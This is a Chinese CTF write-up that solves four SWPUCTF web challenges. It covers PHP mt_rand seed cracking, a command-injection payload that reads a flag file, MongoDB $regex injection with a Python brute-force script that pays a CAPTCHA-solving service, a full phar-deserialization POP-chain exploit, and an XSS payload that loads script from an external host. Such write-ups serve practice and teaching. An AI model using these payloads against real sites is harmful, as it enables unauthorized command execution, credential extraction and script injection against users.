SWPUCTF WEB Writeup


WEb 1:用优惠码 买个 X ?

www.zip源码泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

登录后,题目给了我们15位的优惠码,而购买X的优惠码是24位的,再回过来看看代码,很明显考察php随机数安全问题。

这篇文章分析的不错:https://wonderkun.cc/index.html/?p=585

简单而言,生成优惠码的每一位字母(数)使用的随机数种子相同,即php在产生一系列随机数的时候只进行了一次播种。
而在linux64位的系统中rand()和mt_rand()函数产生的最大随机数都是2^31-1,所以在这个范围内可以爆破。

最初想着直接用php爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

error_reporting(E_ALL);

//生成优惠码
function youhuima($seed){
mt_srand($seed);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}

if($auth === "9vmnye6GT7TpzH3"){
echo $seed;
exit();
}

}
for($i=1; $i<999999999; $i++){
youhuima($i);
}

结果卡了很久很久 cpu爆炸..

后来发现已经有大牛写了一个c语言爆破种子的程序:https://www.openwall.com/php_mt_seed/

这里踩了很多坑… 4.0版本make编译报错,3.4的版本跑出来的种子死活都不对..

后来仔细分析,这个和php版本相关:
3.4的爆破脚本中描述:
image_1cv2gndm5cqf1dhtk611aogfc419.png-42.2kB

然鹅我们题目是php7.2的版本
php版本

所以这里只能用4.0的爆破程序。

先将字母转换成对应的数字:

1
2
3
4
5
6
7
8
9
10
11
12
function getseed(){
$str = "8zJag6b";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
}

然后爆破:
image_1cv2gsdach4vb54nu617ea8p526.png-53.8kB

拿到种子后,记得在本地将php版本调到7.1+,生成24位的优惠码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function youhuima(){
mt_srand('727588335');
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=24;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
echo $auth;
echo "\nsJO5ciqR";
setcookie('Auth', $auth);
}

image_1cv2gv9rmg21pu21q2m1np31ub23j.png-402.5kB

接着考察命令执行的漏洞:
preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)
m修饰符:换行匹配,所以构造payload:ip=| ls%0a127.0.0.1

这里可以用pcre_match贪婪匹配特性绕过?
参考

第二层:用\或者””绕关键字即可
ip=| c""at /f""lag%0a127.0.0.1

拿到flag:swpuctf{**08067_sec**$$%@!~~~~**}

Web2:

提示phpinfo:看到了mangodb,猜想这是nosql注入
image_1cv2jg7f0s4smdtn1g6tu1u806t.png-122.5kB
这里$ne在mongodb中表示:!=、<>

/check.php?username[$ne]=%5C&password[$ne]=%5C&vertify=zxvz
即表示用户名不为\且(or)密码不为\的用户。
根据提示,可以猜想到密码就是flag

所以可以用$regex模糊查询

参考:https://www.freebuf.com/articles/database/95314.html

爆密码payload:
?username[$ne]=1&password[$regex]=^s&vertify=h36f
爆账号payload:
?username[$regex]=1&password[$ne]=1&vertify=h36f

然后就是验证码爆破了,花上5毛钱接入打码平台:
image_1cv2pilm0p6p6hk15gm1jomrpc7a.png-380.3kB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# coding:utf-8

import requests
from hashlib import md5
import json
import time


# swpuCTF验证码爆破
# Manggodb爆破


payload = "https://123.206.213.66:45678/check.php?username=admin&password[$regex]=^%s&vertify=%s"
url_vertify = "https://123.206.213.66:45678/vertify.php"

s = requests.Session()
proxies = {
"http": "127.0.0.1:8080"
}

class RClient(object):

def __init__(self, username, password, soft_id, soft_key):
self.username = username
self.password = md5(password).hexdigest()
self.soft_id = soft_id
self.soft_key = soft_key
self.base_params = {
'username': self.username,
'password': self.password,
'softid': self.soft_id,
'softkey': self.soft_key,
}
self.headers = {
'Connection': 'Keep-Alive',
'Expect': '100-continue',
'User-Agent': 'ben',
}

def rk_create(self, im, im_type, timeout=60):
"""
im: 图片字节
im_type: 题目类型
"""
params = {
'typeid': im_type,
'timeout': timeout,
}
params.update(self.base_params)
files = {'image': ('a.jpg', im)}
r = requests.post('https://api.ruokuai.com/create.json', data=params, files=files, headers=self.headers)
return r.json()

def rk_report_error(self, im_id):
"""
im_id:报错题目的ID
"""
params = {
'id': im_id,
}
params.update(self.base_params)
r = requests.post('https://api.ruokuai.com/reporterror.json', data=params, headers=self.headers)
return r.json()

def get_time():
now_time = time.strftime("%H:%M:%S", time.localtime())
return now_time



def getvertify():
res = s.get(url=url_vertify)
file_name = '1.png'
with open(file_name, 'wb') as file:
file.write(res.content)
file.flush()
file.close()
# print("[+] 图片下载完成,正在进行图片识别")
rc = RClient('username', 'pwd', 'keyid', 'key')
im = open('1.png', 'rb').read()
vertify = rc.rk_create(im, 3040)['Result']
print("[+] 识别成功: %s" % str(vertify))
return vertify



def getflag():
global s
str_base = "sabcdefghijklmnopqrtuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" # /-+=.~`!@%^*()[]{}|\;:'\",<>?"
i = 0
j = 0
pwd = ""
flag = ""
while i < 30:

while j < len(str_base):
pwd = flag + str_base[j]
verify = str(getvertify())
exp = payload % (pwd, verify)
url = exp
res = s.get(url, proxies=proxies)
print("[*] %s Current payload:%s" % (get_time(), exp))
if "wrong CAPTCHA" in res.text:
print("[-] %s %s" % (get_time(), res.text))
continue
elif "username or password incorrect" in res.text:
print("[-] %s %s" % (get_time(), res.text))
j = j+1
else:
flag = pwd
print("[-] %s %s" % (get_time(), res.text))
break

#time.sleep(1)
j=0

if __name__ == '__main__':
getflag()

web3

考点phar反序列化,源码没有unserialize反序列化操作的函数,这是最近blackhat上一个热门议题,phar反序列化。
利用点条件:

  • 能将打包好的phar文件上传(扩展名,文件头都可以伪造)
  • 存在文件操作函数:
    1
    fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

具体详细介绍看hpdog师傅的文章:https://www.anquanke.com/post/id/159206#h3-17

这个题的攻击链的构造有一点点小复杂。

先纵观class.php中的三个类:

  • C1e4类中的析构函数有一个echo操作
  • Show类中有__toString()魔术方法
  • show类中的__toString() 中有$this->str['str']->source;这样一个操作。
  • Test类中有__get()魔术方法,调用私有属性,或者不存在的属性时会触发。
  • Test类中get()方法会用file_get_contents()读取文件
  • file.php中有文件操作的函数:file_exists()

所以思路就是:
用Test类中get()读到flag文件,用C1e4类中的echo输出结果。

而中间的过程即:
我们先将三个类分别new一遍。将show的实例化对象赋值给C1e4r类的$str,使得show对象被echo出来,从而调用show类中的__toString方法。然后我们将show方法中的$this->str['str']赋入test对象,这样就会调用test中的source变量,这个变量不存在,所以触发Test类中的__get()魔术方法,其次Test类的$params要赋值成一个数组键为source,值为flag路径。

即:

1
2
3
4
5
6
7
8
9
$a = new Test();
$a->params = [
'source'=> '/var/www/html/f1ag.php'
];
$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;

完整payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString() // 类被当成字符串回应的方法
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value) // 设置一个类的成员变量时调用
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { // 防ssrf等等?
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup() // 执行unserialize()先调用这个,这里用phar来进行调用
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value)); // 读flag:f1ag.php
return $text;
}
}

$a = new Test();
$a->params = [
'source'=> '/var/www/html/f1ag.php'
];
$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;


$phar = new Phar("passer6y.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("test.txt","Passer6y");
$phar->stopBuffering();

?>

image_1cv5mhh8jf7muc7cm7n7h1os59.png-98.9kB

WEB 4

玩的时候xssbot挂了.. 这里考察filter_var函数校验绕过
payload:
email="<script\ src=https://*.exeye.io/swpu></script>"@qq.com&submit=

1
2
3
4
5
6
7
8
9
10
11
12
<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>
-->

image_1cv5npon2tlcnm2ajg1thh109826.png-108.3kB